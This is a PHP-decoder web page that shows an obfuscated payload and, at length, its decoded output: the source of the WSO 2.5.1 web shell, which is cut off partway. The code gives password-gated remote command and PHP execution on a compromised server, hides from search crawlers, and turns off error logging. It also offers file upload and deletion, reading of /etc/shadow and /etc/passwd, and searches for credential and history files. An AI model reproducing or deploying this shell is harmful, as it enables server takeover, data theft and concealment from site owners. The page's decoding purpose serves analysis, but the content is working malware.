Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
eval(gzinflate(base64_decode('lZ3LqmxZj537Br/DT1ENu1PsteYtgsJvok5cbeyCAmPM//g+oRjf0NxZprAb..
Decoded Output download
?><?php
$auth_pass = "cabee63d9736600fd19e3a724f9ddaeb";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
header('HTTP/1.0 404 Not Found');
exit;
}
}
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('WSO_VERSION', '2.5.1');
if(get_magic_quotes_gpc()) {
function WSOstripslashes($array) {
return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
}
$_POST = WSOstripslashes($_POST);
$_COOKIE = WSOstripslashes($_COOKIE);
}
function wsoLogin() {
die("<pre align=center><form method=post>Password: <input type=password name=pass><input type=submit value='>>'></form></pre>");
}
function WSOsetcookie($k, $v) {
$_COOKIE[$k] = $v;
setcookie($k, $v);
}
if(!empty($auth_pass)) {
if(isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass))
WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);
if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
wsoLogin();
}
if(strtolower(substr(PHP_OS,0,3)) == "win")
$os = 'win';
else
$os = 'nix';
$safe_mode = @ini_get('safe_mode');
if(!$safe_mode)
error_reporting(0);
$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if(isset($_POST['c']))
@chdir($_POST['c']);
$cwd = @getcwd();
if($os == 'win') {
$home_cwd = str_replace("\", "/", $home_cwd);
$cwd = str_replace("\", "/", $cwd);
}
if($cwd[strlen($cwd)-1] != '/')
$cwd .= '/';
if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax']))
$_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$default_use_ajax;
if($os == 'win')
$aliases = array(
"List Directory" => "dir",
"Find index.php in current dir" => "dir /s /w /b index.php",
"Find *config*.php in current dir" => "dir /s /w /b *config*.php",
"Show active connections" => "netstat -an",
"Show running services" => "net start",
"User accounts" => "net user",
"Show computers" => "net view",
"ARP Table" => "arp -a",
"IP Configuration" => "ipconfig /all"
);
else
$aliases = array(
"List dir" => "ls -lha",
"list file attributes on a Linux second extended file system" => "lsattr -va",
"show opened ports" => "netstat -an | grep -i listen",
"process status" => "ps aux",
"Find" => "",
"find suid" => "find / -type f -perm -04000 -ls",
"find suid in current dir" => "find . -type f -perm -04000 -ls",
"find sgid" => "find / -type f -perm -02000 -ls",
"find sgid files in current dir" => "find . -type f -perm -02000 -ls",
"find config.inc.php" => "find / -type f -name config.inc.php",
"find config*" => "find / -type f -name \"config*\"",
"find config* in current dir" => "find . -type f -name \"config*\"",
"find writable folders and files" => "find / -perm -2 -ls",
"find writable folders and files in current dir" => "find . -perm -2 -ls",
"find service.pwd" => "find / -type f -name service.pwd",
"find service.pwd files in current dir" => "find . -type f -name service.pwd",
"find .htpasswd" => "find / -type f -name .htpasswd",
"find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
"find .bash_history" => "find / -type f -name .bash_history",
"find .bash_history files in current dir" => "find . -type f -name .bash_history",
"find .fetchmailrc" => "find / -type f -name .fetchmailrc",
"find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
"Locate" => "",
"locate httpd.conf" => "locate httpd.conf",
"locate vhosts.conf" => "locate vhosts.conf",
"locate proftpd.conf" => "locate proftpd.conf",
"locate psybnc.conf" => "locate psybnc.conf",
"locate my.conf" => "locate my.conf",
"locate admin.php" =>"locate admin.php",
"locate cfg.php" => "locate cfg.php",
"locate conf.php" => "locate conf.php",
"locate config.dat" => "locate config.dat",
"locate config.php" => "locate config.php",
"locate config.inc" => "locate config.inc",
"locate config.inc.php" => "locate config.inc.php",
"locate config.default.php" => "locate config.default.php",
"locate config*" => "locate config",
"locate .conf"=>"locate '.conf'",
"locate .pwd" => "locate '.pwd'",
"locate .sql" => "locate '.sql'",
"locate .htpasswd" => "locate '.htpasswd'",
"locate .bash_history" => "locate '.bash_history'",
"locate .mysql_history" => "locate '.mysql_history'",
"locate .fetchmailrc" => "locate '.fetchmailrc'",
"locate backup" => "locate backup",
"locate dump" => "locate dump",
"locate priv" => "locate priv"
);
function wsoHeader() {
if(empty($_POST['charset']))
$_POST['charset'] = $GLOBALS['default_charset'];
global $color;
echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - WSO " . WSO_VERSION ."</title>
<style>
body{background-color:#444;color:#e1e1e1;}
body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
table.info{ color:#fff;background-color:#222; }
span,h1,a{ color: $color !important; }
span{ font-weight: bolder; }
h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
div.content{ padding: 5px;margin-left:5px;background-color:#333; }
a{ text-decoration:none; }
a:hover{ text-decoration:underline; }
.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
.bigarea{ width:100%;height:300px; }
input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
form{ margin:0px; }
#toolsTbl{ text-align:center; }
.toolsInp{ width: 300px }
.main th{text-align:left;background-color:#5e5e5e;}
.main tr:hover{background-color:#5e5e5e}
.l1{background-color:#444}
.l2{background-color:#333}
pre{font-family:Courier,Monospace;}
</style>
<script>
var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
var p1_ = '" . ((strpos(@$_POST['p1'],"
")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
var p2_ = '" . ((strpos(@$_POST['p2'],"
")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
var p3_ = '" . ((strpos(@$_POST['p3'],"
")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
var d = document;
function set(a,c,p1,p2,p3,charset) {
if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
}
function g(a,c,p1,p2,p3,charset) {
set(a,c,p1,p2,p3,charset);
d.mf.submit();
}
function a(a,c,p1,p2,p3,charset) {
set(a,c,p1,p2,p3,charset);
var params = 'ajax=true';
for(i=0;i<d.mf.elements.length;i++)
params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
}
function sr(url, params) {
if (window.XMLHttpRequest)
req = new XMLHttpRequest();
else if (window.ActiveXObject)
req = new ActiveXObject('Microsoft.XMLHTTP');
if (req) {
req.onreadystatechange = processReqChange;
req.open('POST', url, true);
req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
req.send(params);
}
}
function processReqChange() {
if( (req.readyState == 4) )
if(req.status == 200) {
var reg = new RegExp(\"(\d+)([\S\s]*)\", 'm');
var arr=reg.exec(req.responseText);
eval(arr[2].substr(0, arr[1]));
} else alert('Request error!');
}
</script>
<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
<form method=post name=mf style='display:none;'>
<input type=hidden name=a>
<input type=hidden name=c>
<input type=hidden name=p1>
<input type=hidden name=p2>
<input type=hidden name=p3>
<input type=hidden name=charset>
</form>";
$freeSpace = @diskfreespace($GLOBALS['cwd']);
$totalSpace = @disk_total_space($GLOBALS['cwd']);
$totalSpace = $totalSpace?$totalSpace:1;
$release = @php_uname('r');
$kernel = @php_uname('s');
$explink = 'http://exploit-db.com/search/?action=search&filter_description=';
if(strpos('Linux', $kernel) !== false)
$explink .= urlencode('Linux Kernel ' . substr($release,0,6));
else
$explink .= urlencode($kernel . ' ' . substr($release,0,3));
if(!function_exists('posix_getegid')) {
$user = @get_current_user();
$uid = @getmyuid();
$gid = @getmygid();
$group = "?";
} else {
$uid = @posix_getpwuid(posix_geteuid());
$gid = @posix_getgrgid(posix_getegid());
$user = $uid['name'];
$uid = $uid['uid'];
$group = $gid['name'];
$gid = $gid['gid'];
}
$cwd_links = '';
$path = explode("/", $GLOBALS['cwd']);
$n=count($path);
for($i=0; $i<$n-1; $i++) {
$cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
for($j=0; $j<=$i; $j++)
$cwd_links .= $path[$j].'/';
$cwd_links .= "\")'>".$path[$i]."/</a>";
}
$charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
$opt_charsets = '';
foreach($charsets as $item)
$opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
$m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Sql'=>'Sql','Php'=>'Php','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network');
if(!empty($GLOBALS['auth_pass']))
$m['Logout'] = 'Logout';
$m['Self remove'] = 'SelfRemove';
$menu = '';
foreach($m as $k => $v)
$menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';
$drives = "";
if($GLOBALS['os'] == 'win') {
foreach(range('c','z') as $drive)
if(is_dir($drive.':\'))
$drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
}
echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win'?'<br>Drives:':'') . '</span></td>'
. '<td><nobr>' . substr(@php_uname(), 0, 120) . ' <a href="' . $explink . '" target=_blank>[exploit-db.com]</a></nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=green><b>OFF</b></font>')
. ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)<br>' . $cwd_links . ' '. wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>'
. '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>'
. '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
}
function wsoFooter() {
$is_writable = is_writable($GLOBALS['cwd'])?" <font color='green'>(Writeable)</font>":" <font color=red>(Not writable)</font>";
echo "
</div>
<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #333;border-bottom:2px solid #333;'>
<tr>
<td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td>
<td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
</tr><tr>
<td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
<td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
</tr><tr>
<td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
<td><form method='post' ENCTYPE='multipart/form-data'>
<input type=hidden name=a value='FilesMAn'>
<input type=hidden name=c value='" . $GLOBALS['cwd'] ."'>
<input type=hidden name=p1 value='uploadFile'>
<input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
<span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br ></td>
</tr></table></div></body></html>";
}
if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) {
function posix_getpwuid($p) {return false;} }
if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) {
function posix_getgrgid($p) {return false;} }
function wsoEx($in) {
$out = '';
if (function_exists('exec')) {
@exec($in,$out);
$out = @join("
",$out);
} elseif (function_exists('passthru')) {
ob_start();
@passthru($in);
$out = ob_get_clean();
} elseif (function_exists('system')) {
ob_start();
@system($in);
$out = ob_get_clean();
} elseif (function_exists('shell_exec')) {
$out = shell_exec($in);
} elseif (is_resource($f = @popen($in,"r"))) {
$out = "";
while(!@feof($f))
$out .= fread($f,1024);
pclose($f);
}
return $out;
}
function wsoViewSize($s) {
if (is_int($s))
$s = sprintf("%u", $s);
if($s >= 1073741824)
return sprintf('%1.2f', $s / 1073741824 ). ' GB';
elseif($s >= 1048576)
return sprintf('%1.2f', $s / 1048576 ) . ' MB';
elseif($s >= 1024)
return sprintf('%1.2f', $s / 1024 ) . ' KB';
else
return $s . ' B';
}
function wsoPerms($p) {
if (($p & 0xC000) == 0xC000)$i = 's';
elseif (($p & 0xA000) == 0xA000)$i = 'l';
elseif (($p & 0x8000) == 0x8000)$i = '-';
elseif (($p & 0x6000) == 0x6000)$i = 'b';
elseif (($p & 0x4000) == 0x4000)$i = 'd';
elseif (($p & 0x2000) == 0x2000)$i = 'c';
elseif (($p & 0x1000) == 0x1000)$i = 'p';
else $i = 'u';
$i .= (($p & 0x0100) ? 'r' : '-');
$i .= (($p & 0x0080) ? 'w' : '-');
$i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
$i .= (($p & 0x0020) ? 'r' : '-');
$i .= (($p & 0x0010) ? 'w' : '-');
$i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
$i .= (($p & 0x0004) ? 'r' : '-');
$i .= (($p & 0x0002) ? 'w' : '-');
$i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
return $i;
}
function wsoPermsColor($f) {
if (!@is_readable($f))
return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>';
elseif (!@is_writable($f))
return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>';
else
return '<font color=#25ff00>' . wsoPerms(@fileperms($f)) . '</font>';
}
function wsoScandir($dir) {
if(function_exists("scandir")) {
return scandir($dir);
} else {
$dh = opendir($dir);
while (false !== ($filename = readdir($dh)))
$files[] = $filename;
return $files;
}
}
function wsoWhich($p) {
$path = wsoEx('which ' . $p);
if(!empty($path))
return $path;
return false;
}
function actionSecInfo() {
wsoHeader();
echo '<h1>Server security information</h1><div class=content>';
function wsoSecParam($n, $v) {
$v = trim($v);
if($v) {
echo '<span>' . $n . ': </span>';
if(strpos($v, "
") === false)
echo $v . '<br>';
else
echo '<pre class=ml1>' . $v . '</pre>';
}
}
wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
if(function_exists('apache_get_modules'))
wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
wsoSecParam('Open base dir', @ini_get('open_basedir'));
wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
wsoSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
$temp=array();
if(function_exists('mysql_get_client_info'))
$temp[] = "MySql (".mysql_get_client_info().")";
if(function_exists('mssql_connect'))
$temp[] = "MSSQL";
if(function_exists('pg_connect'))
$temp[] = "PostgreSQL";
if(function_exists('oci_connect'))
$temp[] = "Oracle";
wsoSecParam('Supported databases', implode(', ', $temp));
echo '<br>';
if($GLOBALS['os'] == 'nix') {
wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>":'no');
wsoSecParam('OS version', @file_get_contents('/proc/version'));
wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
if(!$GLOBALS['safe_mode']) {
$userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
$danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
$downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
echo '<br>';
$temp=array();
foreach ($userful as $item)
if(wsoWhich($item))
$temp[] = $item;
wsoSecParam('Userful', implode(', ',$temp));
$temp=array();
foreach ($danger as $item)
if(wsoWhich($item))
$temp[] = $item;
wsoSecParam('Danger', implode(', ',$temp));
$temp=array();
foreach ($downloaders as $item)
if(wsoWhich($item))
$temp[] = $item;
wsoSecParam('Downloaders', implode(', ',$temp));
echo '<br/>';
wsoSecParam('HDD space', wsoEx('df -h'));
wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
echo '<br/><span>posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
if (isset ($_POST['p2'], $_POST['p3']) && is_numeric($_POST['p2']) && is_numeric($_POST['p3'])) {
$temp = "";
for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
$uid = @posix_getpwuid($_POST['p2']);
if ($uid)
$temp .= join(':',$uid)."
";
}
echo '<br/>';
wsoSecParam('Users', $temp);
}
}
} else {
wsoSecParam('OS Version',wsoEx('ver'));
wsoSecParam('Account Settings',wsoEx('net accounts'));
wsoSecParam('User Accounts',wsoEx('net user'));
}
echo '</div>';
wsoFooter();
}
function actionPhp() {
if(isset($_POST['ajax'])) {
WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
ob_start();
eval($_POST['p1']);
$temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "
\'") . "';
";
echo strlen($temp), "
", $temp;
exit;
}
if(empty($_POST['ajax']) && !empty($_POST['p1']))
WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
wsoHeader();
if(isset($_POST['p2']) && ($_POST['p2'] == 'info')) {
echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
ob_start();
phpinfo();
$tmp = ob_get_clean();
$tmp = preg_replace(array (
'!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU',
'!td, th {(.*)}!msiU',
'!<img[^>]+>!msiU',
), array (
'',
'.e, .v, .h, .h th {$1}',
''
), $tmp);
echo str_replace('<h1','<h2', $tmp) .'</div><br>';
}
echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
echo ' <input type=checkbox name=ajax value=1 '.($_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
if(!empty($_POST['p1'])) {
ob_start();
eval($_POST['p1']);
echo htmlspecialchars(ob_get_clean());
}
echo '</pre></div>';
wsoFooter();
}
function actionFilesMan() {
if (!empty ($_COOKIE['f']))
$_COOKIE['f'] = @unserialize($_COOKIE['f']);
if(!empty($_POST['p1'])) {
switch($_POST['p1']) {
case 'uploadFile':
if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
echo "Can't upload!";
break;
case 'mkdir':
if(!@mkdir($_POST['p2']))
echo "Can't create!";
break;
case 'delete':
function deleteDir($path) {
$path = (substr($path,-1)=='/') ? $path:$path.'/';
$dh = opendir($path);
while ( ($item = readdir($dh) ) !== false) {
$item = $path.$item;
if ( (basename($item) == "..") || (basename($item) == ".") )
continue;
$type = filetype($item);
if ($type == "dir")
deleteDir($item);
else
@unlink($item);
}
closedir($dh);
@rmdir($path);
}
if(is_array(@$_POST['f']))
foreach($_POST['f'] as $f) {
if($f == '..')
continue;
$f = urldecode($f);
if(is_dir($f))
deleteDir($f);
else
@unlink($f);
}
break;
case 'paste':
if($_COOKIE['act'] == 'copy') {
function copy_paste($c,$s,$d){
if(is_dir($c.$s)){
mkdir($d.$s);
$h = @opendir($c.$s);
while (($f = @readdir($h)) !== false)
if (($f != ".") and ($f != ".."))
copy_paste($c.$s.'/',$f, $d.$s.'/');
} elseif(is_file($c.$s))
@copy($c.$s, $d.$s);
}
foreach($_COOKIE['f'] as $f)
copy_paste($_COOKIE['c'],$f, $GLOBALS['cwd']);
} elseif($_COOKIE['act'] == 'move') {
function move_paste($c,$s,$d){
if(is_dir($c.$s)){
mkdir($d.$s);
$h = @opendir($c.$s);
while (($f = @readdir($h)) !== false)
if (($f != ".") and ($f != ".."))
copy_paste($c.$s.'/',$f, $d.$s.'/');
} elseif(@is_file($c.$s))
@copy($c.$s, $d.$s);
}
foreach($_COOKIE['f'] as $f)
@rename($_COOKIE['c'].$f, $GLOBALS['cwd'].$f);
} elseif($_COOKIE['act'] == 'zip') {
if(class_exists('ZipArchive')) {
$zip = new ZipArchive();
if ($zip->open($_POST['p2'], 1)) {
chdir($_COOKIE['c']);
foreach($_COOKIE['f'] as $f) {
if($f == '..')
continue;
if(@is_file($_COOKIE['c'].$f))
$zip->addFile($_COOKIE['c'].$f, $f);
elseif(@is_dir($_COOKIE['c'].$f)) {
$iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/', FilesystemIterator::SKIP_DOTS));
foreach ($iterator as $key=>$value) {
$zip->addFile(realpath($key), $key);
}
}
}
chdir($GLOBALS['cwd']);
$zip->close();
}
}
} elseif($_COOKIE['act'] == 'unzip') {
if(class_exists('ZipArchive')) {
$zip = new ZipArchive();
foreach($_COOKIE['f'] as $f) {
if($zip->open($_COOKIE['c'].$f)) {
$zip->extractTo($GLOBALS['cwd']);
$zip->close();
}
}
}
} elseif($_COOKIE['act'] == 'tar') {
chdir($_COOKIE['c']);
$_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']);
wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f']));
chdir($GLOBALS['cwd']);
}
unset($_COOKIE['f']);
setcookie('f', '', time() - 3600);
break;
default:
if(!empty($_POST['p1'])) {
WSOsetcookie('act', $_POST['p1']);
WSOsetcookie('f', serialize(@$_POST['f']));
WSOsetcookie('c', @$_POST['c']);
}
break;
}
}
wsoHeader();
echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
$dirContent = wsoScandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
if($dirContent === false) { echo 'Can\'t open this folder!';wsoFooter(); return; }
global $sort;
$sort = array('name', 1);
if(!empty($_POST['p1'])) {
if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
$sort = array($match[1], (int)$match[2]);
}
echo "<script>
function sa() {
for(i=0;i<d.files.elements.length;i++)
if(d.files.elements[i].type == 'checkbox')
d.files.elements[i].checked = d.files.elements[0].checked;
}
</script>
<table width='100%' class='main' cellspacing='0' cellpadding='2'>
<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
$dirs = $files = array();
$n = count($dirContent);
for($i=0;$i<$n;$i++) {
$ow = @posix_getpwuid(@fileowner($dirContent[$i]));
$gr = @posix_getgrgid(@filegroup($dirContent[$i]));
$tmp = array('name' => $dirContent[$i],
'path' => $GLOBALS['cwd'].$dirContent[$i],
'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]),
'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
);
if(@is_file($GLOBALS['cwd'] . $dirContent[$i]))
$files[] = array_merge($tmp, array('type' => 'file'));
elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i]))
$dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i]))
$dirs[] = array_merge($tmp, array('type' => 'dir'));
}
$GLOBALS['sort'] = $sort;
function wsoCmp($a, $b) {
if($GLOBALS['sort'][0] != 'size')
return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
else
return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
}
usort($files, "wsoCmp");
usort($dirs, "wsoCmp");
$files = array_merge($dirs, $files);
$l = 0;
foreach($files as $f) {
echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" ' . (empty ($f['link']) ? '' : "title='{$f['link']}'") . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>').'</a></td><td>'.(($f['type']=='file')?wsoViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
.'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
$l = $l?0:1;
}
echo "<tr><td colspan=7>
<input type=hidden name=a value='FilesMan'>
<input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
<input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
<select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
if(class_exists('ZipArchive'))
echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
echo "<option value='tar'>Compress (tar.gz)</option>";
if(!empty($_COOKIE['act']) && @count($_COOKIE['f']))
echo "<option value='paste'>Paste / Compress</option>";
echo "</select> ";
if(!empty($_COOKIE['act']) && @count($_COOKIE['f']) && (($_COOKIE['act'] == 'zip') || ($_COOKIE['act'] == 'tar')))
echo "file name: <input type=text name=p2 value='wso_" . date("Ymd_His") . "." . ($_COOKIE['act'] == 'zip'?'zip':'tar.gz') . "'> ";
